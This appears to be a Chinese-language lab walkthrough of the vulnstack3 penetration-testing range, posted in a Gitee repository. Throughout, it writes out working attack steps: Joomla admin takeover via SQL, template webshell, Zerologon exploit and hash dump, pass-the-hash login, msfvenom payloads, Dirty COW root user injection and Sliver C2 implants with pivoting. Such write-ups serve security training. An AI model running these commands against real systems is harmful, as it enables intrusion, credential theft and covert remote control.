1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
vulnstack3.md 13.39 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-09-27 18:25 . 修改sliver部分

前言

本次靶场的目标是域控里的一份文件

为了方便kali虚拟机访问,web-centos启动后,虚拟器设置修改网卡1的桥接为nat,

在命令行service network restart重启网卡

freebuf walkthrough

vulnstack3

边界机

ip:192.168.111.131

端口扫描

nmap -p- --min-rate 10000 -v -Pn -sV -A 192.168.111.131 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 25:84:c6:cc:2c:8a:7b:8f:4a:7c:60:f1:a3:c9:b0:22 (DSA)
|_  2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA)
80/tcp   open  http    nginx 1.9.4
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-generator: Joomla! - Open Source Content Management
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: nginx/1.9.4
|_http-title: Home
3306/tcp open  mysql   MySQL 5.7.27-0ubuntu0.16.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.27-0ubuntu0.16.04.1
|   Thread ID: 33
|   Capabilities flags: 63487
|   Some Capabilities: Speaks41ProtocolOld, SupportsTransactions, DontAllowDatabaseTableColumn, Support41Auth, Speaks41ProtocolNew, IgnoreSigpipes, ODBCClient, ConnectWithDatabase, FoundRows, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, LongColumnFlag, SupportsCompression, LongPassword, InteractiveClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: G\x12|u\x1C5zBRVYmu\x1EX,%0\x10*
|_  Auth Plugin Name: mysql_native_password

web-joomla!

80端口 wappalyzer和ehole都确认是joomla!,我们先从nday入手。但是没能确定版本。

在msf中search jooma找到一个扫描插件auxiliary/scanner/http/joomla_version

原理就是从下列文件中找个能访问的用正则提取版本号

    files = [
      'administrator/manifests/files/joomla.xml',
      'language/en-GB/en-GB.xml',
      'templates/system/css/system.css',
      'media/system/js/mootools-more.js',
      'language/en-GB/en-GB.ini',
      'htaccess.txt',
      'language/en-GB/en-GB.com_media.ini'
    ]

最终确定版本号为3.9.12,

还有一个扫插件的joomla_plugins,目测就是有一个插件目录字典

[+] Plugin: /administrator/ 
[+] Plugin: /administrator/components/ 
[+] Plugin: /administrator/components/com_admin/ 
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ 
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log 
[+] Plugin: /components/com_ajax/ 
[+] Plugin: /components/com_banners/ 
[+] Plugin: /components/com_contact/ 
[+] Page: /index.php?option=com_contact
[+] Plugin: /components/com_content/ 
[+] Page: /index.php?option=com_content
[+] Plugin: /components/com_contenthistory/ 
[+] Plugin: /components/com_fields/ 
[+] Plugin: /components/com_finder/ 
[+] Page: /index.php?option=com_finder
[+] Plugin: /components/com_mailto/ 
[+] Plugin: /components/com_media/ 
[+] Plugin: /components/com_newsfeeds/ 
[+] Page: /index.php?option=com_newsfeeds
[+] Plugin: /components/com_search/ 
[+] Page: /index.php?option=com_search
[+] Plugin: /components/com_users/ 
[+] Page: /index.php?option=com_users
[+] Plugin: /components/com_wrapper/ 
[+] Page: /index.php?option=com_wrapper
[+] Plugin: /index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- 
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos

但是访问几个都跳到首页了,结果不太对。

exploit-db上没找着这个版本受影响的洞,基本都是和插件相关的。盲猜了几个都没有效果。

开始目录扫描

dirsearch -u http://192.168.111.131/ -e *

1

在configuration.php~中发现数据库账号,密码,盐值等敏感信息

1

我搞完才发现有个工具joomscan,很轻松就能发现我上面搜集的所有信息:joy:

joomscan -u http://192.168.111.131/

连接数据库

testuser

cvcvgjASD!@

成功连上数据库,直接select user,password from mysql.user提示无权限

查看joomla库中am2zu_users表、umnbt_users表发现有管理员用户及hash,从前面泄露的dbprefix来看,am2zu_users才是joomla的

3

重置密码

joomla!如何恢复或重置密码

在这篇文档中介绍了通过数据库更改密码的方法

执行这段sql可以创建一个凭据为admin2,secret的用户,当然表名要改一下。

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

administrator原hash

$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2

图省事直接替换hash

然后使用administrator secret成功登录管理面

3

joomla后台getshell

网上搜了一下joomla后台getshell,三种方法,第三种最省事了。

后台操作 Extensions–>Templates–>Templates–>xxx Details and Files修改error.php文件 添加shell代码,save保存,

shell_url:/administrator/templates/xxx/error.php

不过他路径写错了,不需要/administrator

3

首行添加一句话马

6

蚁剑连接成功http://192.168.111.131/templates/beez3/error.php

bypass disable function

bypass disable_functions姿势总结

虚拟终端执行命令报ret=127

6

新建一个phpinfo.php看看情况

8

发现disable_functions禁了蛮多

6

直接使用蚁剑的bypass disable_functions插件,ld_preload和iconv的条件应该是都满足的。但是并没有成功生成.antproxy.php

/tmp目录下也确实有上传的so文件在

ps.在web根目录发现有作者留的一句话2.php密码pp,估摸是调测的时候用的

6

在tmp这个MySQL文件夹下发现一个账号密码

6

wwwuser

wwwuser_123Aqx

柳暗花明php7gc_uaf模式bypass成功了,弹出了一个新的可执行的终端

进行一波信息收集发现,提权好解决,pkexec有suid,在2022年的今天,这个是有exp的cve-2021-4034,不过需要一个交互式shell

6

但是IP有点不对

12

192.168.93.120这不是我们访问的那台呀。

挂代理扫描内网

既然已经控制了web,不如上个webshell的socks代理扫一下内网。

Neo-reGeorg

#生成服务端
python3 neoreg.py generate -k wuerror
#通过蚁剑上传之后进行连接
sudo python3 neoreg.py -k wuerror -u http://192.168.111.131/tunnel.php
#naabu进行扫描
proxychains naabu -p 80,443,139,445,3306 -s c -stats 192.168.93.0/24

12

除去93.1(是我物理机)发现存活IP

192.168.93.120
192.168.93.10
192.168.93.100
192.168.93.30

对这四个ip扫描全量tcp端口

proxychains naabu -p 1-65535 -s c -stats -l ip.txt

15

整理一下

内网ip/外网IP system
.93.10 DC
93.120 web-ubuntu
93.30 windows
93.100/111.131 linux

zerologon直捣黄龙

基本确认域控是192.168.93.10了,尝试zerologon exp逃课

proxychains nmap -sV -sT -p 139,445 -A 192.168.93.10

16

得到NetBIOS name: WIN-8GA56TNV3MV

Domain name: test.org

proxychains python3 cve-2020-1472-exploit.py WIN-8GA56TNV3MV 192.168.93.10

proxychains impacket-secretsdump -no-pass -just-dc test.org/WIN-8GA56TNV3MV\$@192.168.93.10

17

成功获取到所有域成员hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:571bcade06358cf8ea77e8418e857355:::
test.org\win7:1104:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1:::
test.org\win2008:1105:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1:::

因为5985开放所以直接尝试winrm连接

proxychains evil-winrm -u administrator -H 18edd0cc3227be3bf61ce198835a1d97 -i 192.168.93.10

18

成功getflag

重置一下域控,继续攻击其他机器

Ubuntu-120

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf >v3-ubuntu

蚁剑上传并执行

19

msf连接

msfconsole -q
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set Proxies socks5:127.0.0.1:1080
set RHOST 192.168.93.120
#端口默认4444
exploit

19

现在我们可以走通之前没走完的提权了

21

重回边界机

因为80是反代,25扫描显示关闭,只剩下个ssh。想起之前发现的账号密码

wwwuser

wwwuser_123Aqx。尝试登一下成功了

排查了一圈发现suid,定时任务,sudo等都没法提权,但是他内核版本很低,2.6

22

脏牛提权

先上传40847.cpp但是编译失败。

脏牛pocs使用Wiki

找到pokemon.c编译成功

23

根据Wiki,Pokemon的用法是向只读文件写入内容

我选择直接往/etc/passwd里写入一个root用户wuerror,密码为test

./d /etc/passwd 'wuerror:$1$1lSo01r2$TzSFfpcpzJIGwgyqri1520:0:0::/root:/bin/bash'

(真实环境慎用,测试发现把原root覆盖掉了)

24

25

win7

 proxychains nmap -sT -p 445 -sV -A 192.168.93.30
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|_nbstat: NetBIOS name: WIN7, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:e0:74:2b (VMware)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
.......

从smb扫描结果来看是Windows7,试一下ms17-010,msf和ms17-010exp检测都patch了

不过得到更新的版本号Windows 7 Professional 7601 Service Pack 1

然后看了看rpc,smb的匿名登录,都可以。但是rpc没权限,smb没东西也无法登录写文件。

爆破也没爆破出来(wp是爆出来了管理员密码),我这要搞只能用域控拿到的hash来横向了。

测试发现hash传递失败只能用明文密码,cmd5上付费可解

26

sliver远控

尝试一下sliver c2

官方wiki说的很详细,各项都有

how-to-set-up-use-c2-sliver

#root用户
#生成implants(载荷)所需依赖
sudo apt install mingw-w64
#开启服务端
./sliver_server
#开启多人模式,单人直接在server上操作也行
multiplayer
#增加用户
new-operator -n test -l 192.168.111.128
#客户端导入上一步生成的证书
.\sliver-client import xxx.cfg
#启动
.\sliver-client

生成http协议载荷,回连4444.默认是8888.不知道是不是和内核版本有关目标机mtls上线失败

generate --http 192.168.111.128:4444 -o linux -s /home/wuerror/Downloads/temp/

27

开启监听

http -l 4444

上传执行,等一会儿之后成功上线

28

pivot——中转上线

generate --tcp-pivot 192.168.111.131:9898
#session上
pivots tcp
#启动socks代理,尝试psexec传文件进内网Windows
socks5 start -P 1080

29

拿物理机和另一台Linux虚拟机试了下上线成功。物理机火绒直接免杀,就是默认配置生成

30

总结

免杀、中转上线配置这些方面比CS和msf还是有优势,但是对老平台的支持蛮差的。

靶机先杀进程,client这边如果还继续使用这个session会卡住。我直接ctrl+c重新启动client

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助